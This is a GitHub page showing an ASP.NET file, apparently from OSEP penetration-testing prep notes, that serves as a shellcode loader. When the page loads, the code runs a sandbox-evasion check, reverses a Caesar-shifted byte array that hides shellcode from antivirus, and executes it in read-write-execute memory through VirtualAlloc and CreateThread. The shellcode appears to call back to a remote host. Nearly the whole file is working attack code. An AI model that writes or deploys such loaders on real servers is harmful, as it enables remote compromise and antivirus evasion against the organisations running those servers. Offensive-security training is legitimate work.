forked from onurgule/OSEP-Prep-Notes
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBypassed_Caesared_Shell.aspx
37 lines (37 loc) · 5.33 KB
/
Bypassed_Caesared_Shell.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32
flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr
lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true,ExactSpelling
= true)]
private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize,
UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[System.Runtime.InteropServices.DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
protected void Page_Load(object sender, EventArgs e)
{
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4,
0);
if(mem == null)
{
return;
}
byte[] oe7hnH0 = new byte[640] {0x01, 0x4d, 0x88, 0xe9, 0xf5, 0xed, 0xd1, 0x05, 0x05, 0x05, 0x46, 0x56, 0x46, 0x55, 0x57, 0x56, 0x4d, 0x36, 0xd7, 0x6a, 0x4d, 0x90, 0x57, 0x65, 0x5b, 0x4d, 0x90, 0x57, 0x1d, 0x4d, 0x90, 0x57, 0x25, 0x4d, 0x14, 0xbc, 0x4f, 0x4f, 0x4d, 0x90, 0x77, 0x55, 0x52, 0x36, 0xce, 0x4d, 0x36, 0xc5, 0xb1, 0x41, 0x66, 0x81, 0x07, 0x31, 0x25, 0x46, 0xc6, 0xce, 0x12, 0x46, 0x06, 0xc6, 0xe7, 0xf2, 0x57, 0x46, 0x56, 0x4d, 0x90, 0x57, 0x25, 0x90, 0x47, 0x41, 0x4d, 0x06, 0xd5, 0x6b, 0x86, 0x7d, 0x1d, 0x10, 0x07, 0x14, 0x8a, 0x77, 0x05, 0x05, 0x05, 0x90, 0x85, 0x8d, 0x05, 0x05, 0x05, 0x4d, 0x8a, 0xc5, 0x79, 0x6c, 0x4d, 0x06, 0xd5, 0x55, 0x49, 0x90, 0x45, 0x25, 0x90, 0x4d, 0x1d, 0x4e, 0x06, 0xd5, 0xe8, 0x5b, 0x52, 0x36, 0xce, 0x4d, 0x04, 0xce, 0x46, 0x90, 0x39, 0x8d, 0x4d, 0x06, 0xdb, 0x4d, 0x36, 0xc5, 0x46, 0xc6, 0xce, 0x12, 0xb1, 0x46, 0x06, 0xc6, 0x3d, 0xe5, 0x7a, 0xf6, 0x51, 0x08, 0x51, 0x29, 0x0d, 0x4a, 0x3e, 0xd6, 0x7a, 0xdd, 0x5d, 0x49, 0x90, 0x45, 0x29, 0x4e, 0x06, 0xd5, 0x6b, 0x46, 0x90, 0x11, 0x4d, 0x49, 0x90, 0x45, 0x21, 0x4e, 0x06, 0xd5, 0x46, 0x90, 0x09, 0x8d, 0x4d, 0x06, 0xd5, 0x46, 0x5d, 0x46, 0x5d, 0x63, 0x5e, 0x5f, 0x46, 0x5d, 0x46, 0x5e, 0x46, 0x5f, 0x4d, 0x88, 0xf1, 0x25, 0x46, 0x57, 0x04, 0xe5, 0x5d, 0x46, 0x5e, 0x5f, 0x4d, 0x90, 0x17, 0xee, 0x50, 0x04, 0x04, 0x04, 0x62, 0x4d, 0x36, 0xe0, 0x58, 0x4e, 0xc3, 0x7c, 0x6e, 0x73, 0x6e, 0x73, 0x6a, 0x79, 0x05, 0x46, 0x5b, 0x4d, 0x8e, 0xe6, 0x4e, 0xcc, 0xc7, 0x51, 0x7c, 0x2b, 0x0c, 0x04, 0xda, 0x58, 0x58, 0x4d, 0x8e, 0xe6, 0x58, 0x5f, 0x52, 0x36, 0xc5, 0x52, 0x36, 0xce, 0x58, 0x58, 0x4e, 0xbf, 0x3f, 0x5b, 0x7e, 0xac, 0x05, 0x05, 0x05, 0x05, 0x04, 0xda, 0xed, 0x14, 0x05, 0x05, 0x05, 0x36, 0x3e, 0x37, 0x33, 0x36, 0x3b, 0x3d, 0x33, 0x39, 0x3a, 0x33, 0x37, 0x38, 0x3e, 0x05, 0x5f, 0x4d, 0x8e, 0xc6, 0x4e, 0xcc, 0xc5, 0xc0, 0x06, 0x05, 0x05, 0x52, 0x36, 0xce, 0x58, 0x58, 0x6f, 0x08, 0x58, 0x4e, 0xbf, 0x5c, 0x8e, 0xa4, 0xcb, 0x05, 0x05, 0x05, 0x05, 0x04, 0xda, 0xed, 0x5b, 0x05, 0x05, 0x05, 0x34, 0x5f, 0x6d, 0x70, 0x7b, 0x47, 0x4f, 0x52, 0x47, 0x59, 0x32, 0x50, 0x3c, 0x4f, 0x51, 0x74, 0x72, 0x38, 0x3a, 0x5a, 0x7a, 0x76, 0x46, 0x71, 0x56, 0x4f, 0x69, 0x6f, 0x50, 0x6a, 0x70, 0x7f, 0x4d, 0x5b, 0x46, 0x54, 0x7e, 0x39, 0x5c, 0x35, 0x58, 0x79, 0x5a, 0x7e, 0x58, 0x78, 0x6c, 0x75, 0x49, 0x5a, 0x59, 0x52, 0x57, 0x6e, 0x69, 0x32, 0x79, 0x47, 0x51, 0x7c, 0x5f, 0x7d, 0x6e, 0x55, 0x5a, 0x73, 0x7d, 0x7b, 0x73, 0x71, 0x38, 0x69, 0x67, 0x48, 0x3b, 0x5e, 0x5e, 0x74, 0x68, 0x73, 0x39, 0x77, 0x69, 0x7e, 0x50, 0x05, 0x4d, 0x8e, 0xc6, 0x58, 0x5f, 0x46, 0x5d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x04, 0xda, 0x4d, 0x88, 0xc9, 0x25, 0x8a, 0xc5, 0x79, 0xb7, 0x6b, 0x90, 0x0c, 0x4d, 0x06, 0xc8, 0x8a, 0xc5, 0x7a, 0xd7, 0x5d, 0xc8, 0x5d, 0x6f, 0x05, 0x5e, 0x4e, 0xcc, 0xc7, 0xf5, 0xba, 0xa7, 0x5b, 0x04, 0xda};
for(int i = 0; i < oe7hnH0.Length; i++)
{
oe7hnH0[i] = (byte)(((uint)oe7hnH0[i] - 5) & 0xFF);
}
IntPtr uKVv = VirtualAlloc(IntPtr.Zero,(UIntPtr)oe7hnH0.Length,MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(oe7hnH0,0,uKVv,oe7hnH0.Length);
IntPtr xE34tIARlB = IntPtr.Zero;
IntPtr iwuox = CreateThread(IntPtr.Zero,UIntPtr.Zero,uKVv,IntPtr.Zero,0,ref xE34tIARlB);
}
</script>